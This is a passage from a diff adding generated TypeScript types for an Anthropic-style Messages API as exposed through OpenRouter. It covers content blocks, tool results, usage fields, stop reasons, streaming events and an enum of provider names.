{"content":{"content":[],"return_code":0,"stderr":"","stdout":"Hello","type":"code_execution_result"},"tool_use_id":"srvtoolu_01abc","type":"code_execution_tool_result"} + * @type object + */ +export type AnthropicCodeExecutionToolResult = { + /** + * @example {"content":[],"return_code":0,"stderr":"","stdout":"Hello","type":"code_execution_result"} + */ + content: AnthropicCodeExecutionContent + tool_use_id: string + type: 'code_execution_tool_result' +} + +/** + * @example {"content":"Compacted summary of conversation.","type":"compaction"} + * @type object + */ +export type AnthropicCompactionBlock = { + content: string | null + encrypted_content?: string | null + type: 'compaction' +} + +/** + * @example {"cache_creation":null,"cache_creation_input_tokens":0,"cache_read_input_tokens":0,"input_tokens":50,"output_tokens":25,"type":"compaction"} + */ +export type AnthropicCompactionUsageIteration = AnthropicBaseUsageIteration & { + type: 'compaction' +} + +export const anthropicContainerSkillTypeEnum = { + anthropic: 'anthropic', + custom: 'custom', +} as const + +export type AnthropicContainerSkillTypeEnumKey = + (typeof anthropicContainerSkillTypeEnum)[keyof typeof anthropicContainerSkillTypeEnum] + +/** + * @example {"skill_id":"pdf","type":"anthropic","version":"latest"} + * @type object + */ +export type AnthropicContainerSkill = { + skill_id: string + type: AnthropicContainerSkillTypeEnumKey + version: string +} + +/** + * @example {"expires_at":"2026-04-08T00:00:00Z","id":"ctr_01abc","skills":null} + * @type object + */ +export type AnthropicContainer = { + expires_at: string + id: string + skills?: AnthropicContainerSkill[] | null +} | null + +/** + * @example {"file_id":"file_01abc","type":"container_upload"} + * @type object + */ +export type AnthropicContainerUpload = { + file_id: string + type: 'container_upload' +} + +/** + * @example {"citations":null,"source":{"data":"Hello, world!","media_type":"text/plain","type":"text"},"title":null,"type":"document"} + * @type object + */ +export type AnthropicDocumentBlock = { + /** + * @example {"enabled":true} + * @type object | undefined + */ + citations?: AnthropicCitationsConfig | null + source: AnthropicBase64PdfSource | AnthropicPlainTextSource + title: string | null + type: 'document' +} + +/** + * @description A server-side transformation Anthropic applied to the request input + * @example {"path":"messages.1.content.0","reason":"prefix_binding_mismatch","type":"thinking_dropped"} + * @type object + */ +export type AnthropicInputTransformation = { + path?: string | null + reason?: string | null + type: string + [key: string]: unknown +} + +/** + * @example {"cache_creation":null,"cache_creation_input_tokens":0,"cache_read_input_tokens":0,"input_tokens":100,"output_tokens":50,"type":"message"} + */ +export type AnthropicMessageUsageIteration = AnthropicBaseUsageIteration & { + model?: string + type: 'message' +} + +/** + * @example {"thinking_tokens":0} + * @type object + */ +export type AnthropicOutputTokensDetails = { + thinking_tokens: number +} | null + +/** + * @example {"data":"cmVkYWN0ZWQ=","type":"redacted_thinking"} + * @type object + */ +export type AnthropicRedactedThinkingBlock = { + data: string + type: 'redacted_thinking' +} + +export const anthropicRefusalStopDetailsCategoryEnum = { + cyber: 'cyber', + bio: 'bio', + frontier_llm: 'frontier_llm', + reasoning_extraction: 'reasoning_extraction', + general_harms: 'general_harms', +} as const + +export type AnthropicRefusalStopDetailsCategoryEnumKey = + (typeof anthropicRefusalStopDetailsCategoryEnum)[keyof typeof anthropicRefusalStopDetailsCategoryEnum] + +/** + * @description Structured information about a refusal + * @example {"category":"cyber","explanation":"The request was refused due to policy.","type":"refusal"} + * @type object + */ +export type AnthropicRefusalStopDetails = { + category: AnthropicRefusalStopDetailsCategoryEnumKey | null + explanation: string | null + type: 'refusal' +} | null + +/** + * @description The outcome of a server-side safeguard, keyed by tool-use id where applicable + * @example {"status":{"tool_uses":{"toolu_01ABC":{"outcome":"not_flagged","type":"evaluated"}},"type":"available"},"type":"dangerous_tool_use"} + * @type object + */ +export type AnthropicSafeguardResult = { + status: { + type: string + [key: string]: unknown + } + type: string + [key: string]: unknown +} + +/** + * @example {"web_fetch_requests":0,"web_search_requests":1} + * @type object + */ +export type AnthropicServerToolUsage = { + web_fetch_requests: number + web_search_requests: number +} | null + +export const anthropicServiceTier = { + standard: 'standard', + priority: 'priority', + batch: 'batch', +} as const + +export type AnthropicServiceTierKey = + (typeof anthropicServiceTier)[keyof typeof anthropicServiceTier] + +/** + * @example {"cited_text":"Example text","document_index":0,"document_title":null,"end_char_index":10,"file_id":null,"start_char_index":0,"type":"char_location"} + */ +export type AnthropicTextCitation = + | (AnthropicCitationCharLocation & { + type: 'char_location' + }) + | (AnthropicCitationPageLocation & { + type: 'page_location' + }) + | (AnthropicCitationContentBlockLocation & { + type: 'content_block_location' + }) + | (AnthropicCitationWebSearchResultLocation & { + type: 'web_search_result_location' + }) + | (AnthropicCitationSearchResultLocation & { + type: 'search_result_location' + }) + +/** + * @example {"citations":null,"text":"Hello, world!","type":"text"} + * @type object + */ +export type AnthropicTextBlock = { + citations: AnthropicTextCitation[] | null + text: string + type: 'text' +} + +export const anthropicTextEditorCodeExecutionToolResultErrorErrorCodeEnum = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + too_many_requests: 'too_many_requests', + execution_time_exceeded: 'execution_time_exceeded', + file_not_found: 'file_not_found', +} as const + +export type AnthropicTextEditorCodeExecutionToolResultErrorErrorCodeEnumKey = + (typeof anthropicTextEditorCodeExecutionToolResultErrorErrorCodeEnum)[keyof typeof anthropicTextEditorCodeExecutionToolResultErrorErrorCodeEnum] + +/** + * @example {"error_code":"unavailable","error_message":null,"type":"text_editor_code_execution_tool_result_error"} + * @type object + */ +export type AnthropicTextEditorCodeExecutionToolResultError = { + error_code: AnthropicTextEditorCodeExecutionToolResultErrorErrorCodeEnumKey + error_message: string | null + type: 'text_editor_code_execution_tool_result_error' +} + +export const anthropicTextEditorCodeExecutionViewResultFileTypeEnum = { + text: 'text', + image: 'image', + pdf: 'pdf', +} as const + +export type AnthropicTextEditorCodeExecutionViewResultFileTypeEnumKey = + (typeof anthropicTextEditorCodeExecutionViewResultFileTypeEnum)[keyof typeof anthropicTextEditorCodeExecutionViewResultFileTypeEnum] + +/** + * @example {"content":"file content","file_type":"text","num_lines":10,"start_line":1,"total_lines":10,"type":"text_editor_code_execution_view_result"} + * @type object + */ +export type AnthropicTextEditorCodeExecutionViewResult = { + content: string + file_type: AnthropicTextEditorCodeExecutionViewResultFileTypeEnumKey + num_lines: number | null + start_line: number | null + total_lines: number | null + type: 'text_editor_code_execution_view_result' +} + +/** + * @example {"is_file_update":false,"type":"text_editor_code_execution_create_result"} + * @type object + */ +export type AnthropicTextEditorCodeExecutionCreateResult = { + is_file_update: boolean + type: 'text_editor_code_execution_create_result' +} + +/** + * @example {"lines":null,"new_lines":null,"new_start":null,"old_lines":null,"old_start":null,"type":"text_editor_code_execution_str_replace_result"} + * @type object + */ +export type AnthropicTextEditorCodeExecutionStrReplaceResult = { + lines: string[] | null + new_lines: number | null + new_start: number | null + old_lines: number | null + old_start: number | null + type: 'text_editor_code_execution_str_replace_result' +} + +/** + * @example {"content":"file content","file_type":"text","num_lines":10,"start_line":1,"total_lines":10,"type":"text_editor_code_execution_view_result"} + */ +export type AnthropicTextEditorCodeExecutionContent = + | (AnthropicTextEditorCodeExecutionToolResultError & { + type: 'text_editor_code_execution_tool_result_error' + }) + | (AnthropicTextEditorCodeExecutionViewResult & { + type: 'text_editor_code_execution_view_result' + }) + | (AnthropicTextEditorCodeExecutionCreateResult & { + type: 'text_editor_code_execution_create_result' + }) + | (AnthropicTextEditorCodeExecutionStrReplaceResult & { + type: 'text_editor_code_execution_str_replace_result' + }) + +/** + * @example {"content":{"content":"file content","file_type":"text","num_lines":10,"start_line":1,"total_lines":10,"type":"text_editor_code_execution_view_result"},"tool_use_id":"srvtoolu_01abc","type":"text_editor_code_execution_tool_result"} + * @type object + */ +export type AnthropicTextEditorCodeExecutionToolResult = { + /** + * @example {"content":"file content","file_type":"text","num_lines":10,"start_line":1,"total_lines":10,"type":"text_editor_code_execution_view_result"} + */ + content: AnthropicTextEditorCodeExecutionContent + tool_use_id: string + type: 'text_editor_code_execution_tool_result' +} + +/** + * @example {"signature":"sig_abc123","thinking":"Let me think about this...","type":"thinking"} + * @type object + */ +export type AnthropicThinkingBlock = { + signature: string + thinking: string + type: 'thinking' +} + +/** + * @example {"tool_name":"my_tool","type":"tool_reference"} + * @type object + */ +export type AnthropicToolReference = { + tool_name: string + type: 'tool_reference' +} + +/** + * @example {"error_code":"unavailable","error_message":null,"type":"tool_search_tool_result_error"} + * @type object + */ +export type AnthropicToolSearchResultError = { + /** + * @example unavailable + * @type string + */ + error_code: AnthropicServerToolErrorCodeKey + error_message: string | null + type: 'tool_search_tool_result_error' +} + +/** + * @example {"tool_references":[{"tool_name":"my_tool","type":"tool_reference"}],"type":"tool_search_tool_search_result"} + * @type object + */ +export type AnthropicToolSearchResult = { + tool_references: AnthropicToolReference[] + type: 'tool_search_tool_search_result' +} + +/** + * @example {"tool_references":[{"tool_name":"my_tool","type":"tool_reference"}],"type":"tool_search_tool_search_result"} + */ +export type AnthropicToolSearchContent = + | (AnthropicToolSearchResultError & { + type: 'tool_search_tool_result_error' + }) + | (AnthropicToolSearchResult & { + type: 'tool_search_tool_search_result' + }) + +/** + * @example {"content":{"tool_references":[{"tool_name":"my_tool","type":"tool_reference"}],"type":"tool_search_tool_search_result"},"tool_use_id":"srvtoolu_01abc","type":"tool_search_tool_result"} + * @type object + */ +export type AnthropicToolSearchToolResult = { + /** + * @example {"tool_references":[{"tool_name":"my_tool","type":"tool_reference"}],"type":"tool_search_tool_search_result"} + */ + content: AnthropicToolSearchContent + tool_use_id: string + type: 'tool_search_tool_result' +} + +/** + * @example {"caller":{"type":"direct"},"id":"toolu_01abc","input":{"location":"San Francisco"},"name":"get_weather","type":"tool_use"} + * @type object + */ +export type AnthropicToolUseBlock = { + /** + * @example {"type":"direct"} + */ + caller: AnthropicCaller + id: string + input?: unknown + name: string + type: 'tool_use' +} + +/** + * @example {"cache_creation":null,"cache_creation_input_tokens":0,"cache_read_input_tokens":0,"input_tokens":100,"output_tokens":50,"type":"unknown"} + */ +export type AnthropicUnknownUsageIteration = AnthropicBaseUsageIteration & { + type: string +} + +/** + * @example {"cache_creation":null,"cache_creation_input_tokens":null,"cache_read_input_tokens":null,"inference_geo":null,"input_tokens":100,"output_tokens":50,"output_tokens_details":null,"server_tool_use":null,"service_tier":"standard"} + * @type object + */ +export type AnthropicUsage = { + /** + * @example {"ephemeral_1h_input_tokens":0,"ephemeral_5m_input_tokens":100} + * @type object + */ + cache_creation: AnthropicCacheCreation | null + cache_creation_input_tokens: number | null + cache_read_input_tokens: number | null + inference_geo: string | null + input_tokens: number + output_tokens: number + /** + * @example {"thinking_tokens":0} + * @type object + */ + output_tokens_details: AnthropicOutputTokensDetails | null + /** + * @example {"web_fetch_requests":0,"web_search_requests":1} + * @type object + */ + server_tool_use: AnthropicServerToolUsage | null + /** + * @example standard + * @type string + */ + service_tier: AnthropicServiceTierKey | null +} + +/** + * @example {"cache_creation":null,"cache_creation_input_tokens":0,"cache_read_input_tokens":0,"input_tokens":100,"output_tokens":50,"type":"message"} + */ +export type AnthropicUsageIteration = + | AnthropicCompactionUsageIteration + | AnthropicMessageUsageIteration + | AnthropicAdvisorMessageUsageIteration + | AnthropicUnknownUsageIteration + +/** + * @example {"content":{"citations":null,"source":{"data":"","media_type":"text/plain","type":"text"},"title":null,"type":"document"},"retrieved_at":null,"type":"web_fetch_result","url":"https://example.com"} + * @type object + */ +export type AnthropicWebFetchBlock = { + /** + * @example {"citations":null,"source":{"data":"Hello, world!","media_type":"text/plain","type":"text"},"title":null,"type":"document"} + * @type object + */ + content: AnthropicDocumentBlock + retrieved_at: string | null + type: 'web_fetch_result' + url: string +} + +export const anthropicWebFetchToolResultErrorErrorCodeEnum = { + content_too_large: 'content_too_large', + invalid_tool_input: 'invalid_tool_input', + url_too_long: 'url_too_long', + url_not_allowed: 'url_not_allowed', + url_not_in_prior_context: 'url_not_in_prior_context', + url_not_accessible: 'url_not_accessible', + unsupported_content_type: 'unsupported_content_type', + too_many_requests: 'too_many_requests', + max_uses_exceeded: 'max_uses_exceeded', + unavailable: 'unavailable', +} as const + +export type AnthropicWebFetchToolResultErrorErrorCodeEnumKey = + (typeof anthropicWebFetchToolResultErrorErrorCodeEnum)[keyof typeof anthropicWebFetchToolResultErrorErrorCodeEnum] + +/** + * @example {"error_code":"unavailable","type":"web_fetch_tool_result_error"} + * @type object + */ +export type AnthropicWebFetchToolResultError = { + error_code: AnthropicWebFetchToolResultErrorErrorCodeEnumKey + type: 'web_fetch_tool_result_error' +} + +/** + * @example {"content":{"citations":null,"source":{"data":"","media_type":"text/plain","type":"text"},"title":null,"type":"document"},"retrieved_at":null,"type":"web_fetch_result","url":"https://example.com"} + */ +export type AnthropicWebFetchContent = + | (AnthropicWebFetchToolResultError & { + type: 'web_fetch_tool_result_error' + }) + | (AnthropicWebFetchBlock & { + type: 'web_fetch_result' + }) + +/** + * @example {"caller":{"type":"direct"},"content":{"content":{"citations":null,"source":{"data":"","media_type":"text/plain","type":"text"},"title":null,"type":"document"},"retrieved_at":null,"type":"web_fetch_result","url":"https://example.com"},"tool_use_id":"srvtoolu_01abc","type":"web_fetch_tool_result"} + * @type object + */ +export type AnthropicWebFetchToolResult = { + /** + * @example {"type":"direct"} + */ + caller: AnthropicCaller + /** + * @example {"content":{"citations":null,"source":{"data":"","media_type":"text/plain","type":"text"},"title":null,"type":"document"},"retrieved_at":null,"type":"web_fetch_result","url":"https://example.com"} + */ + content: AnthropicWebFetchContent + tool_use_id: string + type: 'web_fetch_tool_result' +} + +/** + * @example {"encrypted_content":"enc_content_0","page_age":null,"title":"Example Page","type":"web_search_result","url":"https://example.com"} + * @type object + */ +export type AnthropicWebSearchResult = { + encrypted_content: string + page_age: string | null + title: string + type: 'web_search_result' + url: string +} + +export const anthropicWebSearchToolResultErrorErrorCodeEnum = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + max_uses_exceeded: 'max_uses_exceeded', + too_many_requests: 'too_many_requests', + query_too_long: 'query_too_long', + request_too_large: 'request_too_large', +} as const + +export type AnthropicWebSearchToolResultErrorErrorCodeEnumKey = + (typeof anthropicWebSearchToolResultErrorErrorCodeEnum)[keyof typeof anthropicWebSearchToolResultErrorErrorCodeEnum] + +/** + * @example {"error_code":"unavailable","type":"web_search_tool_result_error"} + * @type object + */ +export type AnthropicWebSearchToolResultError = { + error_code: AnthropicWebSearchToolResultErrorErrorCodeEnumKey + type: 'web_search_tool_result_error' +} + +/** + * @example {"caller":{"type":"direct"},"content":[],"tool_use_id":"srvtoolu_01abc","type":"web_search_tool_result"} + * @type object + */ +export type AnthropicWebSearchToolResult = { + /** + * @example {"type":"direct"} + */ + caller: AnthropicCaller + content: AnthropicWebSearchResult[] | AnthropicWebSearchToolResultError + tool_use_id: string + type: 'web_search_tool_result' +} + +/** + * @example {"type":"direct"} + */ +export type ORAnthropicNullableCaller = + | (AnthropicDirectCaller & { + type: 'direct' + }) + | (AnthropicCodeExecution20250825Caller & { + type: 'code_execution_20250825' + }) + | (AnthropicCodeExecution20260120Caller & { + type: 'code_execution_20260120' + }) + | null + +/** + * @example {"caller":{"type":"direct"},"id":"srvtoolu_01abc","input":{},"name":"advisor","type":"server_tool_use"} + * @type object + */ +export type ORAnthropicServerToolUseBlock = { + /** + * @example {"type":"direct"} + */ + caller?: ORAnthropicNullableCaller + id: string + input?: unknown + name: string + type: 'server_tool_use' +} + +/** + * @description Output of an `openrouter:shell` call executed in the OpenRouter sandbox + * @example {"content":{"output":[{"outcome":{"exit_code":0,"type":"exit"},"stderr":"","stdout":"README.md\n"}]},"tool_use_id":"srvtoolu_01abc","type":"openrouter_shell_tool_result"} + * @type object + */ +export type ORAnthropicShellToolResult = { + /** + * @description The canonical container id the command ran under — the `{container_id}` for the Container Files API, reusable as a `container_reference` in later requests. Present on every sandbox-executed call, even when no files changed. + * @type string | undefined + */ + container_id?: string + content: { + [key: string]: unknown + } + /** + * @description Citations for the files the sandbox command created or modified, most-recently-touched first (at most 10). Retrieve them via the Container Files API. + * @type array | undefined + */ + files?: { + container_id: string + end_index: number + file_id: string + filename: string + start_index: number + type: 'container_file_citation' + }[] + tool_use_id: string + type: 'openrouter_shell_tool_result' +} + +/** + * @description Output of an `openrouter:bash` call executed in the OpenRouter sandbox (`engine: 'openrouter'`) + * @example {"content":{"command":"ls","exitCode":0,"stderr":"","stdout":"README.md\n"},"tool_use_id":"srvtoolu_01abc","type":"openrouter_bash_tool_result"} + * @type object + */ +export type ORAnthropicBashToolResult = { + /** + * @description The canonical container id the command ran under — the `{container_id}` for the Container Files API, reusable as a `container_reference` in later requests. Present on every sandbox-executed call, even when no files changed. + * @type string | undefined + */ + container_id?: string + content: { + [key: string]: unknown + } + /** + * @description Citations for the files the sandbox command created or modified, most-recently-touched first (at most 10). Retrieve them via the Container Files API. + * @type array | undefined + */ + files?: { + container_id: string + end_index: number + file_id: string + filename: string + start_index: number + type: 'container_file_citation' + }[] + tool_use_id: string + type: 'openrouter_bash_tool_result' +} + +/** + * @description Router-owned deferred discovery result containing original selected tool definitions. + * @example {"content":{"matches":[]},"tool_use_id":"search","type":"openrouter_tool_search_result"} + * @type object + */ +export type ORAnthropicToolSearchResult = { + content: { + [key: string]: unknown + } + tool_use_id: string + type: 'openrouter_tool_search_result' +} + +/** + * @example {"citations":null,"text":"Hello, world!","type":"text"} + */ +export type ORAnthropicContentBlock = + | (AnthropicTextBlock & { + type: 'text' + }) + | (AnthropicToolUseBlock & { + type: 'tool_use' + }) + | (AnthropicThinkingBlock & { + type: 'thinking' + }) + | (AnthropicRedactedThinkingBlock & { + type: 'redacted_thinking' + }) + | (ORAnthropicServerToolUseBlock & { + type: 'server_tool_use' + }) + | (AnthropicWebSearchToolResult & { + type: 'web_search_tool_result' + }) + | (AnthropicWebFetchToolResult & { + type: 'web_fetch_tool_result' + }) + | (AnthropicCodeExecutionToolResult & { + type: 'code_execution_tool_result' + }) + | (AnthropicBashCodeExecutionToolResult & { + type: 'bash_code_execution_tool_result' + }) + | (AnthropicTextEditorCodeExecutionToolResult & { + type: 'text_editor_code_execution_tool_result' + }) + | (AnthropicToolSearchToolResult & { + type: 'tool_search_tool_result' + }) + | (AnthropicContainerUpload & { + type: 'container_upload' + }) + | (AnthropicCompactionBlock & { + type: 'compaction' + }) + | (AnthropicAdvisorToolResult & { + type: 'advisor_tool_result' + }) + | (ORAnthropicShellToolResult & { + type: 'openrouter_shell_tool_result' + }) + | (ORAnthropicBashToolResult & { + type: 'openrouter_bash_tool_result' + }) + | (ORAnthropicToolSearchResult & { + type: 'openrouter_tool_search_result' + }) + +export const ORAnthropicStopReason = { + end_turn: 'end_turn', + max_tokens: 'max_tokens', + model_context_window_exceeded: 'model_context_window_exceeded', + stop_sequence: 'stop_sequence', + tool_use: 'tool_use', + pause_turn: 'pause_turn', + refusal: 'refusal', + compaction: 'compaction', +} as const + +export type ORAnthropicStopReasonKey = + (typeof ORAnthropicStopReason)[keyof typeof ORAnthropicStopReason] + +/** + * @description Base Anthropic Messages API response before OpenRouter extensions + * @example {"container":null,"content":[{"citations":[],"text":"Hello!","type":"text"}],"id":"msg_01XFDUDYJgAACzvnptvVoYEL","model":"claude-sonnet-4-5-20250929","role":"assistant","stop_details":null,"stop_reason":"end_turn","stop_sequence":null,"type":"message","usage":{"cache_creation":null,"cache_creation_input_tokens":null,"cache_read_input_tokens":null,"inference_geo":null,"input_tokens":12,"output_tokens":8,"output_tokens_details":null,"server_tool_use":null,"service_tier":"standard"}} + * @type object + */ +export type BaseMessagesResult = { + /** + * @example {"expires_at":"2026-04-08T00:00:00Z","id":"ctr_01abc","skills":null} + * @type object + */ + container: AnthropicContainer | null + content: ORAnthropicContentBlock[] + id: string + input_transformations?: AnthropicInputTransformation[] | null + model: string + role: 'assistant' + /** + * @description Structured information about a refusal + * @example {"category":"cyber","explanation":"The request was refused due to policy.","type":"refusal"} + * @type object + */ + stop_details: AnthropicRefusalStopDetails | null + /** + * @example end_turn + * @type string + */ + stop_reason: ORAnthropicStopReasonKey | null + stop_sequence: string | null + type: 'message' + /** + * @example {"cache_creation":null,"cache_creation_input_tokens":null,"cache_read_input_tokens":null,"inference_geo":null,"input_tokens":100,"output_tokens":50,"output_tokens_details":null,"server_tool_use":null,"service_tier":"standard"} + */ + usage: AnthropicUsage & { + iterations?: AnthropicUsageIteration[] + /** + * @example standard + * @type string | undefined + */ + speed?: AnthropicSpeedKey | null + } +} + +/** + * @example {"tool_calls_executed":1,"tool_calls_requested":1,"web_fetch_requests":0,"web_search_requests":0} + * @type object + */ +export type ORAnthropicServerToolUsage = { + tool_calls_executed?: number + tool_calls_requested?: number + web_fetch_requests: number + web_search_requests: number +} | null + +/** + * @description Event sent when content is added to a content block + * @example {"delta":{"text":"Hello","type":"text_delta"},"index":0,"type":"content_block_delta"} + * @type object + */ +export type MessagesContentBlockDeltaEvent = { + delta: + | { + text: string + type: 'text_delta' + } + | { + partial_json: string + type: 'input_json_delta' + } + | { + thinking: string + type: 'thinking_delta' + } + | { + signature: string + type: 'signature_delta' + } + | { + citation: + | (AnthropicCitationCharLocation & { + type: 'char_location' + }) + | (AnthropicCitationPageLocation & { + type: 'page_location' + }) + | (AnthropicCitationContentBlockLocation & { + type: 'content_block_location' + }) + | (AnthropicCitationWebSearchResultLocation & { + type: 'web_search_result_location' + }) + | (AnthropicCitationSearchResultLocation & { + type: 'search_result_location' + }) + type: 'citations_delta' + } + | { + content: string | null + encrypted_content?: string | null + type: 'compaction_delta' + } + index: number + type: 'content_block_delta' +} + +/** + * @description Event sent when a new content block starts + * @example {"content_block":{"citations":[],"text":"","type":"text"},"index":0,"type":"content_block_start"} + * @type object + */ +export type MessagesContentBlockStartEvent = { + content_block: + | AnthropicTextBlock + | AnthropicToolUseBlock + | AnthropicThinkingBlock + | AnthropicRedactedThinkingBlock + | ORAnthropicServerToolUseBlock + | AnthropicWebSearchToolResult + | AnthropicWebFetchToolResult + | AnthropicCodeExecutionToolResult + | AnthropicBashCodeExecutionToolResult + | AnthropicTextEditorCodeExecutionToolResult + | AnthropicToolSearchToolResult + | AnthropicContainerUpload + | AnthropicCompactionBlock + | AnthropicAdvisorToolResult + | ORAnthropicShellToolResult + | ORAnthropicBashToolResult + | ORAnthropicToolSearchResult + | { + content: string | null + encrypted_content?: string | null + type: 'compaction' + } + index: number + type: 'content_block_start' +} + +/** + * @description Event sent when a content block is complete + * @example {"index":0,"type":"content_block_stop"} + * @type object + */ +export type MessagesContentBlockStopEvent = { + index: number + type: 'content_block_stop' +} + +/** + * @description Event sent when the message metadata changes (e.g., stop_reason) + * @example {"delta":{"container":null,"stop_details":null,"stop_reason":"end_turn","stop_sequence":null},"type":"message_delta","usage":{"cache_creation_input_tokens":null,"cache_read_input_tokens":null,"input_tokens":null,"output_tokens":15,"output_tokens_details":null,"server_tool_use":null}} + * @type object + */ +export type MessagesDeltaEvent = { + delta: { + /** + * @example {"expires_at":"2026-04-08T00:00:00Z","id":"ctr_01abc","skills":null} + * @type object + */ + container: AnthropicContainer | null + safeguard_results?: AnthropicSafeguardResult[] | null + /** + * @description Structured information about a refusal + * @example {"category":"cyber","explanation":"The request was refused due to policy.","type":"refusal"} + * @type object + */ + stop_details: AnthropicRefusalStopDetails | null + /** + * @example end_turn + * @type string + */ + stop_reason: ORAnthropicStopReasonKey | null + stop_sequence: string | null + } + type: 'message_delta' + usage: { + /** + * @example {"ephemeral_1h_input_tokens":0,"ephemeral_5m_input_tokens":100} + * @type object | undefined + */ + cache_creation?: AnthropicCacheCreation | null + cache_creation_input_tokens: number | null + cache_read_input_tokens: number | null + input_tokens: number | null + iterations?: AnthropicUsageIteration[] + output_tokens: number + /** + * @example {"thinking_tokens":0} + * @type object + */ + output_tokens_details: AnthropicOutputTokensDetails | null + /** + * @example {"tool_calls_executed":1,"tool_calls_requested":1,"web_fetch_requests":0,"web_search_requests":0} + * @type object + */ + server_tool_use: ORAnthropicServerToolUsage | null + } +} + +/** + * @description Error event in the stream + * @example {"error":{"error_type":"provider_overloaded","message":"Overloaded","type":"overloaded_error"},"type":"error"} + * @type object + */ +export type MessagesErrorEvent = { + error: { + /** + * @description Canonical OpenRouter error type, stable across all API formats + * @example rate_limit_exceeded + * @type string | undefined + */ + error_type?: ApiErrorTypeKey + message: string + type: string + } + /** + * @example {"attempt":1,"endpoints":{"available":[{"model":"openai/gpt-4o","provider":"OpenAI","selected":true}],"total":1},"generation_time":2016,"is_byok":false,"region":"iad","requested":"openai/gpt-4o","strategy":"direct","summary":"available=1, selected=OpenAI"} + * @type object | undefined + */ + openrouter_metadata?: OpenRouterMetadata + type: 'error' +} + +/** + * @description Keep-alive ping event + * @example {"type":"ping"} + * @type object + */ +export type MessagesPingEvent = { + type: 'ping' +} + +export const messagesStartEventMessageProviderEnum = { + AnyScale: 'AnyScale', + Atoma: 'Atoma', + 'Cent-ML': 'Cent-ML', + CrofAI: 'CrofAI', + Enfer: 'Enfer', + GoPomelo: 'GoPomelo', + HuggingFace: 'HuggingFace', + Hyperbolic: 'Hyperbolic', + 'Hyperbolic 2': 'Hyperbolic 2', + InoCloud: 'InoCloud', + Kluster: 'Kluster', + Lambda: 'Lambda', + Lepton: 'Lepton', + 'Lynn 2': 'Lynn 2', + Lynn: 'Lynn', + Mancer: 'Mancer', + Modal: 'Modal', + NCompass: 'NCompass', + Nineteen: 'Nineteen', + OctoAI: 'OctoAI', + Recursal: 'Recursal', + Reflection: 'Reflection', + Replicate: 'Replicate', + 'SambaNova 2': 'SambaNova 2', + 'SF Compute': 'SF Compute', + Targon: 'Targon', + 'Together 2': 'Together 2', + Ubicloud: 'Ubicloud', + '01.AI': '01.AI', + AkashML: 'AkashML', + AI21: 'AI21', + AionLabs: 'AionLabs', + Alibaba: 'Alibaba', + Ambient: 'Ambient', + 'Ant Digital': 'Ant Digital', + Baidu: 'Baidu', + 'Amazon Bedrock': 'Amazon Bedrock', + 'Amazon Nova': 'Amazon Nova', + Anthropic: 'Anthropic', + 'Arcee AI': 'Arcee AI', + AssemblyAI: 'AssemblyAI', + AtlasCloud: 'AtlasCloud', + Avian: 'Avian', + Azure: 'Azure', + BaseTen: 'BaseTen', + BytePlus: 'BytePlus', + 'Black Forest Labs': 'Black Forest Labs', + Cerebras: 'Cerebras', + Chutes: 'Chutes', + Cirrascale: 'Cirrascale', + 'Claude Platform on AWS': 'Claude Platform on AWS', + Clarifai: 'Clarifai', + Cloudflare: 'Cloudflare', + Cohere: 'Cohere', + CoreWeave: 'CoreWeave', + Cosine: 'Cosine', + Crucible: 'Crucible', + Crusoe: 'Crusoe', + Darkbloom: 'Darkbloom', + Databricks: 'Databricks', + Decart: 'Decart', + Deepgram: 'Deepgram', + DeepInfra: 'DeepInfra', + DeepSeek: 'DeepSeek', + DekaLLM: 'DekaLLM', + DigitalOcean: 'DigitalOcean', + ElevenLabs: 'ElevenLabs', + Featherless: 'Featherless', + Fireworks: 'Fireworks', + 'Fish Audio': 'Fish Audio', + Friendli: 'Friendli', + GMICloud: 'GMICloud', + Google: 'Google', + 'Google AI Studio': 'Google AI Studio', + Groq: 'Groq', + HeyGen: 'HeyGen', + Inception: 'Inception', + Inceptron: 'Inceptron', + InferenceNet: 'InferenceNet', + Ionstream: 'Ionstream', + Infermatic: 'Infermatic', + 'Io Net': 'Io Net', + 'Inferact vLLM': 'Inferact vLLM', + Inflection: 'Inflection', + KT: 'KT', + Liquid: 'Liquid', + Makora: 'Makora', + Mara: 'Mara', + 'Mancer 2': 'Mancer 2', + Meta: 'Meta', + Minimax: 'Minimax', + ModelRun: 'ModelRun', + Mistral: 'Mistral', + Modular: 'Modular', + 'Moonshot AI': 'Moonshot AI', + Morph: 'Morph', + 'VoyageAI by MongoDB': 'VoyageAI by MongoDB', + TypeSafe: 'TypeSafe', + 'Near AI': 'Near AI', + Nebius: 'Nebius', + 'Nex AGI': 'Nex AGI', + NextBit: 'NextBit', + Novita: 'Novita', + Nvidia: 'Nvidia', + Ollama: 'Ollama', + OpenAI: 'OpenAI', + OpenInference: 'OpenInference', + Parallel: 'Parallel', + Parasail: 'Parasail', + ParetoAlpha: 'ParetoAlpha', + 'Particle AI': 'Particle AI', + 'Pearl Research': 'Pearl Research', + Poolside: 'Poolside', + PrimaLabs: 'PrimaLabs', + PrimeIntellect: 'PrimeIntellect', + Perceptron: 'Perceptron', + Perplexity: 'Perplexity', + Phala: 'Phala', + Recraft: 'Recraft', + Recursive: 'Recursive', + Reka: 'Reka', + Relace: 'Relace', + Respan: 'Respan', + River: 'River', + 'Sail Research': 'Sail Research', + 'Sakana AI': 'Sakana AI', + SambaNova: 'SambaNova', + ScaleDown: 'ScaleDown', + Seed: 'Seed', + SiliconFlow: 'SiliconFlow', + Sourceful: 'Sourceful', + StepFun: 'StepFun', + Stealth: 'Stealth', + StreamLake: 'StreamLake', + Switchpoint: 'Switchpoint', + Tencent: 'Tencent', + Tenstorrent: 'Tenstorrent', + 'Thinking Machines': 'Thinking Machines', + Together: 'Together', + Unbiased: 'Unbiased', + Upstage: 'Upstage', + Venice: 'Venice', + Wafer: 'Wafer', + WandB: 'WandB', + Quiver: 'Quiver', + Krea: 'Krea', + Runway: 'Runway', + Xiaomi: 'Xiaomi', + xAI: 'xAI', + 'Z.AI': 'Z.AI', + FakeProvider: 'FakeProvider', +} as const + +export type MessagesStartEventMessageProviderEnumKey = + (typeof messagesStartEventMessageProviderEnum)[keyof typeof messagesStartEventMessageProviderEnum] + +/** + * @description Event sent at the start of a streaming message + * @example 